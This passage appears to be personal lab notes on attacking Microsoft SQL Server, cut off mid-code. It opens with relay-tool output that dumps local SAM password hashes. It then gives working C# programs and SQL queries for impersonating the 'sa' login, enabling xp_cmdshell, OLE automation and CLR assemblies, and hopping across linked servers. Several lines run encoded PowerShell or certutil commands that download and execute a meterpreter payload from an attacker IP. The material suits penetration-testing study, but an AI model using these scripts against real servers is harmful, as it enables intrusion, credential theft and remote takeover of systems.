[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::&lt;br /&gt;
[*] Done dumping SAM hashes for host: 192.168.1.25&lt;br /&gt;
[*] Stopping service RemoteRegistry&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Escalation ===&lt;br /&gt;
&lt;br /&gt;
==== Escalation ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Achieve higher privileges within the SQL database by leveraging impersonation.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Sysadmin Role&#039;&#039;&#039;: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn&#039;t always possible.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonation&#039;&#039;&#039;: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Impersonation at the User Level:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisites:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Our user must have been granted impersonation for another user with additional role memberships.&lt;br /&gt;
&lt;br /&gt;
* The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.&lt;br /&gt;
The &#039;&#039;database owner &#039;&#039;(dbo) usually have this syadmin role.&lt;br /&gt;
&lt;br /&gt;
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // This will give us all the logins that allow impersonation.&lt;br /&gt;
                    string query = &amp;quot;SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = &#039;IMPERSONATE&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read() == true)&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Logins that can be impersonated: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Before impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    string executeAs = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;After impersonation&amp;quot;);&lt;br /&gt;
                    query = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    executeAs = &amp;quot;USE msdb; EXECUTE AS USER = &#039;dbo&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(executeAs, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    query = &amp;quot;SELECT USER_NAME();&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(query, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Executing in the context of: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Code Execution ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;xp_cmdshel&#039;&#039;&#039;l: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.&lt;br /&gt;
&#039;&#039;&#039;Activation: &#039;&#039;&#039;Enable xp_cmdshell: [https://book.ghanim.no/?page_id=1809#xp_cmdshell CheatSheet I – Basic – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;sp_OACreate and sp_OAMethod:&#039;&#039;&#039; These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.&lt;br /&gt;
&#039;&#039;&#039;Activation&#039;&#039;&#039;: Ensure the &amp;quot;OLE Automation Procedures&amp;quot; setting is enabled.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;RECONFIGURE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;xp_cmdshell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Enable and execute xp_cmdshell&lt;br /&gt;
                    String enable_xpcmd = &amp;quot;EXEC sp_configure &#039;show advanced options&#039;, 1; RECONFIGURE; EXEC sp_configure &#039;xp_cmdshell&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
                    // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
                    //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
                    //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
                    String execCmdShell = &amp;quot;EXEC xp_cmdshell &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(enable_xpcmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    command = new SqlCommand(execCmdShell, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    while (reader.Read())&lt;br /&gt;
                    {&lt;br /&gt;
                        Console.WriteLine(&amp;quot;Result of xp_cmdshell: &amp;quot; + reader[0]);&lt;br /&gt;
                    }&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;sp_OACreate and sp_OAMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
Same as above, just change these lines&lt;br /&gt;
 String enable_ole = &amp;quot;EXEC sp_configure &#039;Ole Automation Procedures&#039;, 1; RECONFIGURE;&amp;quot;;&lt;br /&gt;
 //$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.45.221/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
 // In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1&lt;br /&gt;
 //$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
 //$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
 String execCmdShell = &amp;quot;DECLARE @myshell INT; EXEC sp_oacreate &#039;wscript.shell&#039;, @myshell OUTPUT; EXEC sp_oamethod @myshell, &#039;run&#039;, null, &#039;powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&#039;;&amp;quot;;&lt;br /&gt;
command = new SqlCommand(enable_ole, con);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Assemblies ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* This technique leverages managed code to achieve arbitrary code execution on a SQL server.&lt;br /&gt;
&lt;br /&gt;
* If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.&lt;br /&gt;
&lt;br /&gt;
* Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with &amp;lt;code&amp;gt;sp_configure&amp;lt;/code&amp;gt; and the &amp;lt;code&amp;gt;clr enabled&amp;lt;/code&amp;gt; option.&lt;br /&gt;
&lt;br /&gt;
Check if TRUTHWORTHY is enabled.&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#mssql-privilege-escalation 1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find trustworthy databases&lt;br /&gt;
SELECT a.name,b.is_trustworthy_on&lt;br /&gt;
FROM master..sysdatabases as a&lt;br /&gt;
INNER JOIN sys.databases as b&lt;br /&gt;
ON a.name=b.name;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start by creating a new &amp;quot;Class Library (.NET Framework)&amp;quot; project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using Microsoft.SqlServer.Server;&lt;br /&gt;
using System.Data.SqlTypes;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
public class StoredProcedures&lt;br /&gt;
{&lt;br /&gt;
    [Microsoft.SqlServer.Server.SqlProcedure]&lt;br /&gt;
    public static void cmdExec (SqlString execCommand)&lt;br /&gt;
    {&lt;br /&gt;
        Process proc = new Process();&lt;br /&gt;
        proc.StartInfo.FileName = @&amp;quot;C:\Windows\System32\cmd.exe&amp;quot;;&lt;br /&gt;
        proc.StartInfo.Arguments = string.Format(@&amp;quot; /C {0}&amp;quot;, execCommand);&lt;br /&gt;
        proc.StartInfo.UseShellExecute = false;&lt;br /&gt;
        proc.StartInfo.RedirectStandardOutput = true;&lt;br /&gt;
        proc.Start();&lt;br /&gt;
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData(&amp;quot;output&amp;quot;, System.Data.SqlDbType.NVarChar, 4000));&lt;br /&gt;
        SqlContext.Pipe.SendResultsStart(record);&lt;br /&gt;
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());&lt;br /&gt;
        SqlContext.Pipe.SendResultsRow(record);&lt;br /&gt;
        SqlContext.Pipe.SendResultsEnd();&lt;br /&gt;
        proc.WaitForExit();&lt;br /&gt;
        proc.Close();&lt;br /&gt;
    }&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* In the &amp;lt;code&amp;gt;CreateAssem&amp;lt;/code&amp;gt; you can either call it from location on target like this&lt;br /&gt;
&amp;lt;code&amp;gt;CREATE ASSEMBLY myAssembly FROM &#039;c:\tools\cmdExec.dll&#039; WITH PERMISSION_SET = UNSAFE;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; before the string since this is hex.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$assemblyFile = &amp;quot;C:\users\alaag\documents\cmdExec.dll&amp;quot;&lt;br /&gt;
$stringBuilder = New-Object -Type System.Text.StringBuilder&lt;br /&gt;
$fileStream = [IO.File]::OpenRead($assemblyFile)&lt;br /&gt;
while (($byte = $fileStream.ReadByte()) -gt -1) {&lt;br /&gt;
    $stringBuilder.Append($byte.ToString(&amp;quot;X2&amp;quot;)) | Out-Null&lt;br /&gt;
}&lt;br /&gt;
$stringBuilder.ToString() -join &amp;quot;&amp;quot; | Out-File c:\users\alaa\documents\cmdexec.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SqlImpersonationDemo&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = $&amp;quot;Server = {sqlServer}; Database = {database}; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                using (SqlConnection con = new SqlConnection(conString))&lt;br /&gt;
                {&lt;br /&gt;
                    con.Open();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
                    // Impersonate SA user&lt;br /&gt;
                    String impersonateUser = &amp;quot;EXECUTE AS LOGIN = &#039;sa&#039;;&amp;quot;;&lt;br /&gt;
                    SqlCommand command = new SqlCommand(impersonateUser, con);&lt;br /&gt;
                    SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Check if the procedure and assembly already exist and drop them if they do&lt;br /&gt;
                    String dropProcedure = &amp;quot;IF OBJECT_ID(&#039;dbo.cmdExec&#039;, &#039;P&#039;) IS NOT NULL DROP PROCEDURE dbo.cmdExec;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropProcedure, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String dropAssembly = &amp;quot;IF EXISTS (SELECT * FROM sys.assemblies WHERE name = &#039;myAssembly&#039;) DROP ASSEMBLY myAssembly;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(dropAssembly, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Configuration for enabling CLR&lt;br /&gt;
                    String clrConfig = &amp;quot;use msdb; EXEC sp_configure &#039;show advanced options&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr enabled&#039;,1; RECONFIGURE; EXEC sp_configure &#039;clr strict security&#039;, 0; RECONFIGURE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(clrConfig, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Create the assembly and procedure&lt;br /&gt;
                    String CreateAssem = &amp;quot;CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreateAssem, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    String CreatePro = &amp;quot;CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(CreatePro, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    // Execute the procedure&lt;br /&gt;
                    String ExecCmd = &amp;quot;EXEC cmdExec &#039;certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe &amp;amp;&amp;amp; cmd.exe /c C:\\windows\\tasks\\met.exe&#039;&amp;quot;;&lt;br /&gt;
                    command = new SqlCommand(ExecCmd, con);&lt;br /&gt;
                    reader = command.ExecuteReader();&lt;br /&gt;
                    reader.Read();&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Result of the command is: &amp;quot; + reader[0]);&lt;br /&gt;
                    reader.Close();&lt;br /&gt;
                    con.Close();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;An error occurred: &amp;quot; + e.Message);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there&#039;s a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
string dropproc = &amp;quot;DROP PROCEDURE cmdExec&amp;quot;;&lt;br /&gt;
string dropasm = &amp;quot;DROP ASSEMBLY myAssembly&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linked SQL Servers ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Linked SQL servers allow one SQL server to connect to another.&lt;br /&gt;
&lt;br /&gt;
* The execution context during the connection can be dynamic or a specific SQL login.&lt;br /&gt;
&lt;br /&gt;
* If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Concepts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.&lt;br /&gt;
&lt;br /&gt;
* sp_linkedservers stored procedure enumerates linked servers.&lt;br /&gt;
&lt;br /&gt;
* OPENQUERY keyword can be used to perform SQL queries on linked servers.&lt;br /&gt;
&lt;br /&gt;
* Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.&lt;br /&gt;
&lt;br /&gt;
* RPC Out setting must be enabled for RPC to work on linked servers.&lt;br /&gt;
&lt;br /&gt;
* sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.&lt;br /&gt;
&lt;br /&gt;
* AT keyword specifies which linked SQL server a query should be executed on.&lt;br /&gt;
&lt;br /&gt;
==== Query list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enable RPC Out&lt;br /&gt;
EXEC sp_serveroption &#039;sql27&#039;, &#039;rpc out&#039;, &#039;true&#039;;&lt;br /&gt;
# Enumerate linked servers&lt;br /&gt;
EXEC sp_linkedservers;&lt;br /&gt;
# Execute command using openquery&lt;br /&gt;
SELECT version FROM OPENQUERY(dc01, &#039;SELECT @@version AS version&#039;);&lt;br /&gt;
# Enable advanced options&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; RECONFIGURE;&#039;) AT DC01;&lt;br /&gt;
# Enable xp_cmdshell&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT dc01&lt;br /&gt;
# Example&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;show advanced options&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;sp_configure &#039;&#039;xp_cmdshell&#039;&#039;, 1; reconfigure;&#039;) AT SQL53;&lt;br /&gt;
EXEC (&#039;xp_cmdshell &#039;&#039;whoami&#039;&#039;;&#039;) AT SQL53;&lt;br /&gt;
# Double hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;sp_configure &#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;, 1; reconfigure;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;xp_cmdshell &#039;&#039;&#039;&#039;powershell -enc XXXXX&#039;&#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
# Tripple hop&lt;br /&gt;
EXECUTE AS LOGIN = &#039;SA&#039;;&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;show advanced options&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; sp_configure &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;xp_cmdshell&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;, 1; reconfigure; &#039;&#039;&#039;&#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
EXEC (&#039;EXEC (&#039;&#039;EXEC (&#039;&#039;&#039;&#039; xp_cmdshell &#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039;&#039; &#039;) AT db02 &#039;&#039;) AT db01&#039;) AT db02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Enumerate Linked Servers ====&lt;br /&gt;
&lt;br /&gt;
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;dc01&amp;lt;/code&amp;gt; is linked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQLExploit&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;appsrv01&amp;quot;;  // Connecting to appsrv01&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
